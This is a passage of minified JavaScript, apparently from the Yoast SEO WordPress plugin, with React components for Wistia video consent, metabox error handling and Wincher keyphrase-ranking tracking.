(0,l.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,t.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,t.createElement)(S.Button,{type:"button",variant:"secondary",onClick:d,disabled:r.status===fe},(0,l.__)("Deny","wordpress-seo")),(0,t.createElement)(S.Button,{type:"button",variant:"primary",onClick:p,disabled:r.status===fe},(0,l.__)("Allow","wordpress-seo")))),r.value&&n===Ee&&(0,t.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===e&&(0,t.createElement)(S.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==e&&(0,t.createElement)("div",{className:`wistia_embed wistia_async_${e} videoFoam=true`}))))};ve.propTypes={videoId:y().string.isRequired,thumbnail:y().shape({src:y().string.isRequired,width:y().string,height:y().string}).isRequired,wistiaEmbedPermission:y().shape({value:y().bool.isRequired,status:y().string.isRequired,set:y().func.isRequired}).isRequired};const ke=window.yoast.componentsNew,_e=window.yoast.styleGuide,xe=window.yoast.analysis;function Re(e){switch(e){case"loading":return{icon:"loading-spinner",color:_e.colors.$color_green_medium_light};case"not-set":return{icon:"seo-score-none",color:_e.colors.$color_score_icon};case"noindex":return{icon:"seo-score-none",color:_e.colors.$color_noindex};case"good":return{icon:"seo-score-good",color:_e.colors.$color_green_medium};case"ok":return{icon:"seo-score-ok",color:_e.colors.$color_ok};default:return{icon:"seo-score-bad",color:_e.colors.$color_red}}}function Se({target:e,children:t}){let s=e;return"string"==typeof e&&(s=document.getElementById(e)),s?(0,i.createPortal)(t,s):null}Se.propTypes={target:y().oneOfType([y().string,y().object]).isRequired,children:y().node.isRequired};const Te=({target:e,scoreIndicator:s})=>(0,t.createElement)(Se,{target:e},(0,t.createElement)(ke.SvgIcon,{...Re(s)}));Te.propTypes={target:y().string.isRequired,scoreIndicator:y().string.isRequired};const Ce=Te,Ie=({error:e})=>{const s=(0,i.useCallback)((()=>{var e,t;return null===(e=window)||void 0===e||null===(t=e.location)||void 0===t?void 0:t.reload()}),[]),r=(0,a.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/metabox-error-support")),[]),n=(0,a.useSelect)((e=>e("yoast-seo/editor").getPreference("isRtl",!1)),[]);return(0,i.useEffect)((()=>{document.querySelectorAll('[id^="wpseo-meta-tab-"]').forEach((e=>{!function(e){const t=document.querySelector(`#${e}`);null!==t&&(t.style.opacity="0.5",t.style.pointerEvents="none",t.setAttribute("aria-disabled","true"),t.classList.contains("yoast-active-tab")&&t.classList.remove("yoast-active-tab"))}(e.id)}))}),[]),(0,t.createElement)(S.Root,{context:{isRtl:n}},(0,t.createElement)(F,{error:e},(0,t.createElement)(F.HorizontalButtons,{supportLink:r,handleRefreshClick:s}),(0,t.createElement)(Ce,{target:"wpseo-seo-score-icon",scoreIndicator:"not-set"}),(0,t.createElement)(Ce,{target:"wpseo-readability-score-icon",scoreIndicator:"not-set"}),(0,t.createElement)(Ce,{target:"wpseo-inclusive-language-score-icon",scoreIndicator:"not-set"})))};function Pe({theme:e}){return(0,t.createElement)(R,{theme:e,location:"metabox"},(0,t.createElement)(S.ErrorBoundary,{FallbackComponent:Ie},(0,t.createElement)(k.Slot,{name:"YoastMetabox"},(e=>_(e)))))}Ie.propTypes={error:y().object.isRequired};const Le=window.wp.compose,Ae=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{d:"M2 11a1 1 0 011-1h2a1 1 0 011 1v5a1 1 0 01-1 1H3a1 1 0 01-1-1v-5zM8 7a1 1 0 011-1h2a1 1 0 011 1v9a1 1 0 01-1 1H9a1 1 0 01-1-1V7zM14 4a1 1 0 011-1h2a1 1 0 011 1v12a1 1 0 01-1 1h-2a1 1 0 01-1-1V4z"}))})),Fe=(e=null)=>(0,t.useMemo)((()=>{const t={role:"img","aria-hidden":"true"};return null!==e&&(t.focusable=e?"true":"false"),t}),[e]);var Oe=s(4530),Ne=s.n(Oe);const qe=({className:e,...s})=>(0,t.createElement)("span",{className:Ne()("yst-grow yst-overflow-hidden yst-overflow-ellipsis yst-whitespace-nowrap yst-font-wp yst-text-[#555] yst-text-base yst-leading-[normal] yst-subpixel-antialiased yst-text-left",e),...s});qe.displayName="MetaboxButton.Text",qe.propTypes={className:y().string},qe.defaultProps={className:""};const Me=({className:e,...s})=>(0,t.createElement)("button",{type:"button",className:Ne()("yst-flex yst-items-center yst-w-full yst-pt-4 yst-pb-4 yst-pr-4 yst-pl-6 yst-space-x-2 yst-border-t yst-border-t-[rgb(0,0,0,0.2)] yst-rounded-none yst-transition-all hover:yst-bg-[#f0f0f0] focus:yst-outline focus:yst-outline-[1px] focus:yst-outline-[color:#0066cd] focus:-yst-outline-offset-1 focus:yst-shadow-[0_0_3px_rgba(8,74,103,0.8)]",e),...s});Me.propTypes={className:y().string},Me.defaultProps={className:""},Me.Text=qe;const De=window.yoast.helpers,$e=w().div`
	min-width: 600px;

	@media screen and ( max-width: 680px ) {
		min-width: 0;
		width: 86vw;
	}
`,Be=w().div`
	@media screen and ( min-width: 600px ) {
		max-width: 420px;
	}
`,Ue=(w()(ke.Icon)`
	float: ${(0,De.getDirectionalStyle)("right","left")};
	margin: ${(0,De.getDirectionalStyle)("0 0 16px 16px","0 16px 16px 0")};

	&& {
		width: 150px;
		height: 150px;

		@media screen and ( max-width: 680px ) {
			width: 80px;
			height: 80px;
		}
	}
`,"yoast yoast-gutenberg-modal"),We=e=>{const{title:s,className:r,showYoastIcon:n,additionalClassName:a,...o}=e,i=n?(0,t.createElement)("span",{className:"yoast-icon"}):null;return(0,t.createElement)(k.Modal,{title:s,className:`${r} ${a}`,icon:i,...o},e.children)};We.propTypes={title:y().string,className:y().string,showYoastIcon:y().bool,children:y().oneOfType([y().node,y().arrayOf(y().node)]),additionalClassName:y().string},We.defaultProps={title:"Yoast SEO",className:Ue,showYoastIcon:!0,children:null,additionalClassName:""};const je=We;var Ke,He;function Ve(){return Ve=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Ve.apply(this,arguments)}const ze=e=>t.createElement("svg",Ve({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 425 456.27"},e),Ke||(Ke=t.createElement("path",{d:"M73 405.26a66.79 66.79 0 0 1-6.54-1.7 64.75 64.75 0 0 1-6.28-2.31c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92a70.154 70.154 0 0 1-5.08-4.19 69.21 69.21 0 0 1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24a70.747 70.747 0 0 1-3.44-5.64 68.29 68.29 0 0 1-8.29-32.55V142.13a68.26 68.26 0 0 1 8.29-32.55c1-1.92 2.21-3.82 3.44-5.64s2.55-3.58 4-5.27a69.26 69.26 0 0 1 14.49-13.25C50.37 84.19 52.27 83 54.2 82A67.59 67.59 0 0 1 73 75.09a68.75 68.75 0 0 1 13.75-1.39h169.66L263 55.39H86.75A86.84 86.84 0 0 0 0 142.13v196.09A86.84 86.84 0 0 0 86.75 425h11.32v-18.35H86.75A68.75 68.75 0 0 1 73 405.26zM368.55 60.85l-1.41-.53-6.41 17.18 1.41.53a68.06 68.06 0 0 1 8.66 4c1.93 1 3.82 2.2 5.65 3.43A69.19 69.19 0 0 1 391 98.67c1.4 1.68 2.72 3.46 3.95 5.27s2.39 3.72 3.44 5.64a68.29 68.29 0 0 1 8.29 32.55v264.52H233.55l-.44.76c-3.07 5.37-6.26 10.48-9.49 15.19L222 425h203V142.13a87.2 87.2 0 0 0-56.45-81.28z"})),He||(He=t.createElement("path",{stroke:"#000",strokeMiterlimit:10,strokeWidth:3.81,d:"M119.8 408.28v46c28.49-1.12 50.73-10.6 69.61-29.58 19.45-19.55 36.17-50 52.61-96L363.94 1.9H305l-98.25 272.89-48.86-153h-54l71.7 184.18a75.67 75.67 0 0 1 0 55.12c-7.3 18.68-20.25 40.66-55.79 47.19z"}))),Ye=e=>(0,t.createElement)("div",{className:"yoast components-panel__body"},(0,t.createElement)("h2",{className:"components-panel__body-title"},(0,t.createElement)("button",{id:e.id,onClick:e.onClick,className:"components-button components-panel__body-toggle",type:"button"},e.prefixIcon&&(0,t.createElement)("span",{className:"yoast-icon-span",style:{fill:`${e.prefixIcon&&e.prefixIcon.color||""}`}},(0,t.createElement)(ke.SvgIcon,{size:e.prefixIcon.size,icon:e.prefixIcon.icon})),(0,t.createElement)("span",{className:"yoast-title-container"},(0,t.createElement)("div",{className:"yoast-title"},e.title),(0,t.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.children,e.suffixIcon&&(0,t.createElement)(ke.SvgIcon,{size:e.suffixIcon.size,icon:e.suffixIcon.icon}),e.SuffixHeroIcon))),Ge=Ye;Ye.propTypes={onClick:y().func.isRequired,title:y().string.isRequired,id:y().string,subTitle:y().string,suffixIcon:y().object,SuffixHeroIcon:y().object,prefixIcon:y().object,children:y().node},Ye.defaultProps={id:"",suffixIcon:null,SuffixHeroIcon:null,prefixIcon:null,subTitle:"",children:null};const Ze=window.moment;var Xe=s.n(Ze),Qe=s(6746);const Je=(0,De.makeOutboundLink)(),et=e=>{const s=(0,l.sprintf)(/* translators: %d expands to the amount of allowed keyphrases on a free account, %s expands to a link to Wincher plans. */
(0,l.__)("You've reached the maximum amount of %d keyphrases you can add to your Wincher account. If you wish to add more keyphrases, please %s.","wordpress-seo"),e.limit,"{{updateWincherPlanLink/}}");return(0,t.createElement)(ke.Alert,{type:"error"},(0,Qe.Z)({mixedString:s,components:{updateWincherPlanLink:(0,t.createElement)(Je,{href:wpseoAdminGlobalL10n["links.wincher.pricing"]},(0,l.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,l.__)("upgrade your %s plan","wordpress-seo"),"Wincher"))}}))};et.propTypes={limit:y().number},et.defaultProps={limit:10};const tt=et,st=()=>(0,t.createElement)(ke.Alert,{type:"error"},(0,l.__)("Something went wrong while tracking the ranking position(s) of your page. Please try again later.","wordpress-seo")),rt=window.wp.apiFetch;var nt=s.n(rt);async function at(e,t,s,r=200){try{const n=await e();return!!n&&(n.status===r?t(n):s(n))}catch(e){console.error(e.message)}}async function ot(e){try{return await nt()(e)}catch(e){return e.error&&e.status?e:e instanceof Response&&await e.json()}}async function it(e){return(0,m.isArray)(e)||(e=[e]),await ot({path:"yoast/v1/wincher/keyphrases/track",method:"POST",data:{keyphrases:e}})}const lt=w().p`
	color: ${_e.colors.$color_pink_dark};
	font-size: 14px;
	font-weight: 700;
	margin: 13px 0 10px;
`,ct=w()(ke.SvgIcon)`
	margin-right: 5px;
	vertical-align: middle;
`,dt=w().button`
	position: absolute;
	top: 9px;
	right: 9px;
	border: none;
    background: none;
    cursor: pointer;
`,pt=w().p`
	font-size: 13px;
	font-weight: 500;
	margin: 10px 0 13px;
`,ut=w().div`
	position: relative;
	background: ${e=>e.isTitleShortened?"#F5F7F7":"transparent"};
	border: 1px solid #C7C7C7;
	border-left: 4px solid${_e.colors.$color_pink_dark};
	padding: 0 16px;
	margin-bottom: 1.5em;
`,mt=e=>{const[t,s]=(0,i.useState)(null);return(0,i.useEffect)((()=>{e&&!t&&async function(){return await ot({path:"yoast/v1/wincher/account/limit",method:"GET"})}().then((e=>s(e)))}),[t]),t};mt.propTypes={limit:y().bool.isRequired};const ht=({limit:e,usage:s,isTitleShortened:r,isFreeAccount:n})=>{const a=(0,l.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,l.__)("Your are tracking %1$s out of %2$s keyphrases included in your free account.","wordpress-seo"),s,e),o=(0,l.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,l.__)("Your are tracking %1$s out of %2$s keyphrases included in your account.","wordpress-seo"),s,e),i=n?a:o,c=(0,l.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,l.__)("Keyphrases tracked: %1$s/%2$s","wordpress-seo"),s,e),d=r?c:i;return(0,t.createElement)(lt,null,r&&(0,t.createElement)(ct,{icon:"exclamation-triangle",color:_e.colors.$color_pink_dark,size:"14px"}),d)};ht.propTypes={limit:y().number.isRequired,usage:y().number.isRequired,isTitleShortened:y().bool,isFreeAccount:y().bool};const gt=(0,De.makeOutboundLink)(),yt=({discount:e,months:s})=>{const r=(0,t.createElement)(gt,{href:wpseoAdminGlobalL10n["links.wincher.upgrade"],style:{fontWeight:600}},(0,l.sprintf)(/* Translators: %s : Expands to "Wincher". */
(0,l.__)("Click here to upgrade your %s plan","wordpress-seo"),"Wincher"));if(!e||!s)return(0,t.createElement)(pt,null,r);const n=100*e,a=(0,l.sprintf)(
/* Translators: %1$s expands to upgrade account link.
   * %2$s expands to the upgrade discount value.
   * %3$s expands to the upgrade discount duration e.g. 2 months.
   */
(0,l.__)("%1$s and get an exclusive %2$s discount for %3$s month(s).","wordpress-seo"),"{{wincherAccountUpgradeLink/}}",n+"%",s);return(0,t.createElement)(pt,null,(0,Qe.Z)({mixedString:a,components:{wincherAccountUpgradeLink:r}}))};yt.propTypes={discount:y().number,months:y().number};const ft=({onClose:e,isTitleShortened:s,trackingInfo:r})=>{const n=(()=>{const[e,t]=(0,i.useState)(null);return(0,i.useEffect)((()=>{e||async function(){return await ot({path:"yoast/v1/wincher/account/upgrade-campaign",method:"GET"})}().then((e=>t(e)))}),[e]),e})();if(null===r)return null;const{limit:a,usage:o}=r;if(!(a&&o/a>=.8))return null;const c=Boolean(null==n?void 0:n.discount);return(0,t.createElement)(ut,{isTitleShortened:s},e&&(0,t.createElement)(dt,{type:"button","aria-label":(0,l.__)("Close the upgrade callout","wordpress-seo"),onClick:e},(0,t.createElement)(ke.SvgIcon,{icon:"times-circle",color:_e.colors.$color_pink_dark,size:"14px"})),(0,t.createElement)(ht,{...r,isTitleShortened:s,isFreeAccount:c}),(0,t.createElement)(yt,{discount:null==n?void 0:n.discount,months:null==n?void 0:n.months}))};ft.propTypes={onClose:y().func,isTitleShortened:y().bool,trackingInfo:y().object};const wt=ft,bt=()=>(0,t.createElement)(ke.Alert,{type:"success"},(0,l.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,l.__)("You have successfully connected to %s! You can now track the SEO performance for the keyphrase(s) of this page.","wordpress-seo"),"Wincher")),Et=()=>(0,t.createElement)(ke.Alert,{type:"info"},(0,l.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,l.__)("%s is currently tracking the ranking position(s) of your page. This may take a few minutes. Please wait or check back later.","wordpress-seo"),"Wincher")),vt=({data:e,mapChartDataToTableData:s,dataTableCaption:r,dataTableHeaderLabels:n,isDataTableVisuallyHidden:a})=>e.length!==n.length?(0,t.createElement)("p",null,(0,l.__)("The number of headers and header labels don't match.","wordpress-seo")):(0,t.createElement)("div",{className:a?"screen-reader-text":null},(0,t.createElement)("table",null,(0,t.createElement)("caption",null,r),(0,t.createElement)("thead",null,(0,t.createElement)("tr",null,n.map(((e,s)=>(0,t.createElement)("th",{key:s},e))))),(0,t.createElement)("tbody",null,(0,t.createElement)("tr",null,e.map(((e,r)=>(0,t.createElement)("td",{key:r},s(e.y))))))));vt.propTypes={data:y().arrayOf(y().shape({x:y().number,y:y().number})).isRequired,mapChartDataToTableData:y().func,dataTableCaption:y().string.isRequired,dataTableHeaderLabels:y().array.isRequired,isDataTableVisuallyHidden:y().bool},vt.defaultProps={mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const kt=vt,_t=({data:e,width:s,height:r,fillColor:n,strokeColor:a,strokeWidth:o,className:l,mapChartDataToTableData:c,dataTableCaption:d,dataTableHeaderLabels:p,isDataTableVisuallyHidden:u})=>{const m=Math.max(1,Math.max(...e.map((e=>e.x)))),h=Math.max(1,Math.max(...e.map((e=>e.y)))),g=r-o,y=e.map((e=>`${e.x/m*s},${g-e.y/h*g+o}`)).join(" "),f=`0,${g+o} `+y+` ${s},${g+o}`;return(0,t.createElement)(i.Fragment,null,(0,t.createElement)("svg",{width:s,height:r,viewBox:`0 0 ${s} ${r}`,className:l,role:"img","aria-hidden":"true",focusable:"false"},(0,t.createElement)("polygon",{fill:n,points:f}),(0,t.createElement)("polyline",{fill:"none",stroke:a,strokeWidth:o,strokeLinejoin:"round",strokeLinecap:"round",points:y})),c&&(0,t.createElement)(kt,{data:e,mapChartDataToTableData:c,dataTableCaption:d,dataTableHeaderLabels:p,isDataTableVisuallyHidden:u}))};_t.propTypes={data:y().arrayOf(y().shape({x:y().number,y:y().number})).isRequired,width:y().number.isRequired,height:y().number.isRequired,fillColor:y().string,strokeColor:y().string,strokeWidth:y().number,className:y().string,mapChartDataToTableData:y().func,dataTableCaption:y().string.isRequired,dataTableHeaderLabels:y().array.isRequired,isDataTableVisuallyHidden:y().bool},_t.defaultProps={fillColor:null,strokeColor:"#000000",strokeWidth:1,className:"",mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const xt=_t,Rt=()=>(0,t.createElement)("p",{className:"yoast-wincher-seo-performance-modal__loading-message"},(0,l.__)("Tracking the ranking position...","wordpress-seo")," ",(0,t.createElement)(ke.SvgIcon,{icon:"loading-spinner"})),St=w()(ke.SvgIcon)`
	margin-left: 2px;
	flex-shrink: 0;
	rotate: ${e=>e.isImproving?"-90deg":"90deg"};
`,Tt=w().span`
	color: ${e=>e.isImproving?"#69AB56":"#DC3332"};
	font-size: 13px;
	font-weight: 600;
	line-height: 20px;
	margin-right: 2px;
	margin-left: 12px;
`,Ct=w().td`
	padding-right: 0 !important;

	& > div {
		margin: 0px;
	}
`,It=w().td`
	padding-left: 2px !important;
`,Pt=w().td.attrs({className:"yoast-table--nopadding"})`
	& > div {
		justify-content: center;
	}
`,Lt=w().div`
	display: flex;
	align-items: center;
	& > a {
		box-sizing: border-box;
	}
`,At=w().button`
	background: none;
	color: inherit;
	border: none;
	padding: 0;
	font: inherit;
	cursor: pointer;
	outline: inherit;
    display: flex;
    align-items: center;
`,Ft=w().tr`
	background-color: ${e=>e.isEnabled?"#FFFFFF":"#F9F9F9"} !important;
`;function Ot(e){return Math.round(100*e)}function Nt({chartData:e}){if((0,m.isEmpty)(e)||(0,m.isEmpty)(e.position))return"?";const s=function(e){return Array.from({length:e.position.history.length},((e,t)=>t+1)).map((e=>(0,l.sprintf)((0,l._n)("%d day","%d days",e,"wordpress-seo"),e)))}(e),r=e.position.history.map(((e,t)=>({x:t,y:101-e.value})));return(0,t.createElement)(xt,{width:66,height:24,data:r,strokeWidth:1.8,strokeColor:"#498afc",fillColor:"#ade3fc",mapChartDataToTableData:Ot,dataTableCaption:(0,l.__)("Keyphrase position in the last 90 days on a scale from 0 to 100.","wordpress-seo"),dataTableHeaderLabels:s})}Nt.propTypes={chartData:y().object},Nt.defaultProps={chartData:{}};const qt=({rowData:e})=>{var s;if(null==e||null===(s=e.position)||void 0===s||!s.change)return(0,t.createElement)(Nt,{chartData:e});const r=e.position.change<0;return(0,t.createElement)(i.Fragment,null,(0,t.createElement)(Nt,{chartData:e}),(0,t.createElement)(Tt,{isImproving:r},Math.abs(e.position.change)),(0,t.createElement)(St,{icon:"caret-right",color:r?"#69AB56":"#DC3332",size:"14px",isImproving:r}))};function Mt(e){var s;const{keyphrase:r,rowData:n,onTrackKeyphrase:a,onUntrackKeyphrase:o,isFocusKeyphrase:c,isDisabled:d,isLoading:p,isSelected:u,onSelectKeyphrases:h}=e,g=!(0,m.isEmpty)(n),y=!(0,m.isEmpty)(null==n||null===(s=n.position)||void 0===s?void 0:s.history),f=(0,i.useCallback)((()=>{d||(g?o(r,n.id):a(r))}),[r,a,o,g,n,d]),w=(0,i.useCallback)((()=>{h((e=>u?e.filter((e=>e!==r)):e.concat(r)))}),[h,u,r]);return(0,t.createElement)(Ft,{isEnabled:g},(0,t.createElement)(Ct,null,y&&(0,t.createElement)(ke.Checkbox,{id:"select-"+r,onChange:w,checked:u,label:""})),(0,t.createElement)(It,null,r,c&&(0,t.createElement)("span",null,"*")),function(e){const{rowData:s,websiteId:r,keyphrase:n,onSelectKeyphrases:a}=e,o=(0,i.useCallback)((()=>{a([n])}),[a,n]),c=!(0,m.isEmpty)(s),d=s&&s.updated_at&&Xe()(s.updated_at)>=Xe()().subtract(7,"days"),p=s?(0,l.sprintf)("https://app.wincher.com/websites/%s/keywords?serp=%s&utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast",r,s.id):null;return c?d?(0,t.createElement)(i.Fragment,null,(0,t.createElement)("td",null,(0,t.createElement)(Lt,null,function(e){return!e||!e.position||e.position.value>100?"> 100":e.position.value}(s),(0,t.createElement)(ke.ButtonStyledLink,{variant:"secondary",href:p,style:{height:28,marginLeft:12},rel:"noopener",target:"_blank"},(0,l.__)("View","wordpress-seo")))),(0,t.createElement)("td",{className:"yoast-table--nopadding"},(0,t.createElement)(At,{type:"button",onClick:o},(0,t.createElement)(qt,{rowData:s}))),(0,t.createElement)("td",null,(u=s.updated_at,Xe()(u).fromNow()))):(0,t.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,t.createElement)(Rt,null)):(0,t.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,t.createElement)("i",null,(0,l.__)("Activate tracking to show the ranking position","wordpress-seo")));var u}(e),(0,t.createElement)(Pt,null,function({keyphrase:e,isEnabled:s,toggleAction:r,isLoading:n}){return n?(0,t.createElement)(ke.SvgIcon,{icon:"loading-spinner"}):(0,t.createElement)(ke.Toggle,{id:`toggle-keyphrase-tracking-${e}`,className:"wincher-toggle",isEnabled:s,onSetToggleState:r,showToggleStateLabel:!1})}({keyphrase:r,isEnabled:g,toggleAction:f,isLoading:p})))}qt.propTypes={rowData:y().object},Mt.propTypes={rowData:y().object,keyphrase:y().string.isRequired,onTrackKeyphrase:y().func,onUntrackKeyphrase:y().func,isFocusKeyphrase:y().bool,isDisabled:y().bool,isLoading:y().bool,websiteId:y().string,isSelected:y().bool.isRequired,onSelectKeyphrases:y().func.isRequired},Mt.defaultProps={rowData:{},onTrackKeyphrase:()=>{},onUntrackKeyphrase:()=>{},isFocusKeyphrase:!1,isDisabled:!1,isLoading:!1,websiteId:""};const Dt=(0,De.makeOutboundLink)(),$t=w().span`
	display: block;
	font-style: italic;

	@media (min-width: 782px) {
		display: inline;
		position: absolute;
		${(0,De.getDirectionalStyle)("right","left")}: 8px;
	}
`,Bt=w().div`
	width: 100%;
	overflow-y: auto;
`,Ut=w().th`
	pointer-events: ${e=>e.isDisabled?"none":"initial"};
	padding-right: 0 !important;

	& > div {
		margin: 0px;
	}
`,Wt=w().th`
	padding-left: 2px !important;
`,jt=e=>{const t=(0,i.useRef)();return(0,i.useEffect)((()=>{t.current=e})),t.current},Kt=(0,m.debounce)((async function(e=null,t=null,s=null,r){return await ot({path:"yoast/v1/wincher/keyphrases",method:"POST",data:{keyphrases:e,permalink:s,startAt:t},signal:r})}),500,{leading:!0}),Ht=e=>{const{addTrackedKeyphrase:s,isLoggedIn:r,keyphrases:n,permalink:a,removeTrackedKeyphrase:o,setKeyphraseLimitReached:c,setRequestFailed:d,setRequestSucceeded:p,setTrackedKeyphrases:u,setHasTrackedAll:h,trackAll:g,trackedKeyphrases:y,isNewlyAuthenticated:f,websiteId:w,focusKeyphrase:b,newRequest:E,startAt:v,selectedKeyphrases:k,onSelectKeyphrases:_}=e,x=(0,i.useRef)(),R=(0,i.useRef)(),S=(0,i.useRef)(!1),[T,C]=(0,i.useState)([]),I=(0,i.useCallback)((e=>{const t=e.toLowerCase();return y&&!(0,m.isEmpty)(y)&&y.hasOwnProperty(t)?y[t]:null}),[y]),P=(0,i.useMemo)((()=>async()=>{await at((()=>(R.current&&R.current.abort(),R.current="undefined"==typeof AbortController?null:new AbortController,Kt(n,v,a,R.current.signal))),(e=>{p(e),u(e.results)}),(e=>{d(e)}))}),[p,d,u,n,a,v]),L=(0,i.useCallback)((async e=>{const t=(Array.isArray(e)?e:[e]).map((e=>e.toLowerCase()));C((e=>[...e,...t])),await at((()=>it(t)),(e=>{p(e),s(e.results),P()}),(e=>{400===e.status&&e.limit&&c(e.limit),d(e)}),201),C((e=>(0,m.without)(e,...t)))}),[p,d,c,s,P]),A=(0,i.useCallback)((async(e,t)=>{e=e.toLowerCase(),C((t=>[...t,e])),await at((()=>async function(e){return await ot({path:"yoast/v1/wincher/keyphrases/untrack",method:"DELETE",data:{keyphraseID:e}})}(t)),(t=>{p(t),o(e)}),(e=>{d(e)})),C((t=>(0,m.without)(t,e)))}),[p,o,d]),F=(0,i.useCallback)((async e=>{E(),await L(e)}),[E,L]),O=jt(a),N=jt(n),q=jt(v),M=a&&v;(0,i.useEffect)((()=>{r&&M&&(a!==O||(0,m.difference)(n,N).length||v!==q)&&P()}),[r,a,O,n,N,P,M,v,q]),(0,i.useEffect)((()=>{if(r&&g&&null!==y){const e=n.filter((e=>!I(e)));e.length&&L(e),h()}}),[r,g,y,L,h,I,n]),(0,i.useEffect)((()=>{f&&!S.current&&(P(),S.current=!0)}),[f,P]),(0,i.useEffect)((()=>{if(r&&!(0,m.isEmpty)(y))return(0,m.filter)(y,(e=>(0,m.isEmpty)(e.updated_at))).length>0&&(x.current=setInterval((()=>{P()}),1e4)),()=>{clearInterval(x.current)}}),[r,y,P]);const D=r&&null===y,$=(0,i.useMemo)((()=>(0,m.isEmpty)(y)?[]:Object.values(y).filter((e=>{var t;return!(0,m.isEmpty)(null==e||null===(t=e.position)||void 0===t?void 0:t.history)})).map((e=>e.keyword))),[y]),B=(0,i.useMemo)((()=>k.length>0&&$.length>0&&$.every((e=>k.includes(e)))),[k,$]),U=(0,i.useCallback)((()=>{_(B?[]:$)}),[_,B,$]),W=(0,i.useMemo)((()=>(0,m.orderBy)(n,[e=>Object.values(y||{}).map((e=>e.keyword)).includes(e)],["desc"])),[n,y]);return n&&!(0,m.isEmpty)(n)&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)(Bt,null,(0,t.createElement)("table",{className:"yoast yoast-table"},(0,t.createElement)("thead",null,(0,t.createElement)("tr",null,(0,t.createElement)(Ut,{isDisabled:0===$.length},(0,t.createElement)(ke.Checkbox,{id:"select-all",onChange:U,checked:B,label:""})),(0,t.createElement)(Wt,{scope:"col",abbr:(0,l.__)("Keyphrase","wordpress-seo")},(0,l.__)("Keyphrase","wordpress-seo")),(0,t.createElement)("th",{scope:"col",abbr:(0,l.__)("Position","wordpress-seo")},(0,l.__)("Position","wordpress-seo")),(0,t.createElement)("th",{scope:"col",abbr:(0,l.__)("Position over time","wordpress-seo")},(0,l.__)("Position over time","wordpress-seo")),(0,t.createElement)("th",{scope:"col",abbr:(0,l.__)("Last updated","wordpress-seo")},(0,l.__)("Last updated","wordpress-seo")),(0,t.createElement)("th",{scope:"col",abbr:(0,l.__)("Tracking","wordpress-seo")},(0,l.__)("Tracking","wordpress-seo")))),(0,t.createElement)("tbody",null,W.map(((e,s)=>(0,t.createElement)(Mt,{key:`trackable-keyphrase-${s}`,keyphrase:e,onTrackKeyphrase:F,onUntrackKeyphrase:A,rowData:I(e),isFocusKeyphrase:e===b.trim().toLowerCase(),websiteId:w,isDisabled:!r,isLoading:D||T.indexOf(e.toLowerCase())>=0,isSelected:k.includes(e),onSelectKeyphrases:_})))))),(0,t.createElement)("p",{style:{marginBottom:0,position:"relative"}},(0,t.createElement)(Dt,{href:wpseoAdminGlobalL10n["links.wincher.login"]},(0,l.sprintf)(/* translators: %s expands to Wincher */
(0,l.__)("Get more insights over at %s","wordpress-seo"),"Wincher")),(0,t.createElement)($t,null,(0,l.__)("* focus keyphrase","wordpress-seo"))))};Ht.propTypes={addTrackedKeyphrase:y().func.isRequired,isLoggedIn:y().bool,isNewlyAuthenticated:y().bool,keyphrases:y().array,newRequest:y().func.isRequired,removeTrackedKeyphrase:y().func.isRequired,setRequestFailed:y().func.isRequired,setKeyphraseLimitReached:y().func.isRequired,setRequestSucceeded:y().func.isRequired,setTrackedKeyphrases:y().func.isRequired,setHasTrackedAll:y().func.isRequired,trackAll:y().bool,trackedKeyphrases:y().object,websiteId:y().string,permalink:y().string.isRequired,focusKeyphrase:y().string,startAt:y().string,selectedKeyphrases:y().arrayOf(y().string).isRequired,onSelectKeyphrases:y().func.isRequired},Ht.defaultProps={isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],trackAll:!1,websiteId:"",focusKeyphrase:""};const Vt=Ht,zt=(0,Le.compose)([(0,a.withSelect)((e=>{const{getWincherWebsiteId:t,getWincherTrackableKeyphrases:s,getWincherLoginStatus:r,getWincherPermalink:n,getFocusKeyphrase:a,isWincherNewlyAuthenticated:o,shouldWincherTrackAll:i}=e("yoast-seo/editor");return{focusKeyphrase:a(),keyphrases:s(),isLoggedIn:r(),trackAll:i(),websiteId:t(),isNewlyAuthenticated:o(),permalink:n()}})),(0,a.withDispatch)((e=>{const{setWincherNewRequest:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherSetKeyphraseLimitReached:n,setWincherTrackedKeyphrases:a,setWincherTrackingForKeyphrase:o,setWincherTrackAllKeyphrases:i,unsetWincherTrackingForKeyphrase:l}=e("yoast-seo/editor");return{newRequest:()=>{t()},setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},setKeyphraseLimitReached:e=>{n(e)},addTrackedKeyphrase:e=>{o(e)},removeTrackedKeyphrase:e=>{l(e)},setTrackedKeyphrases:e=>{a(e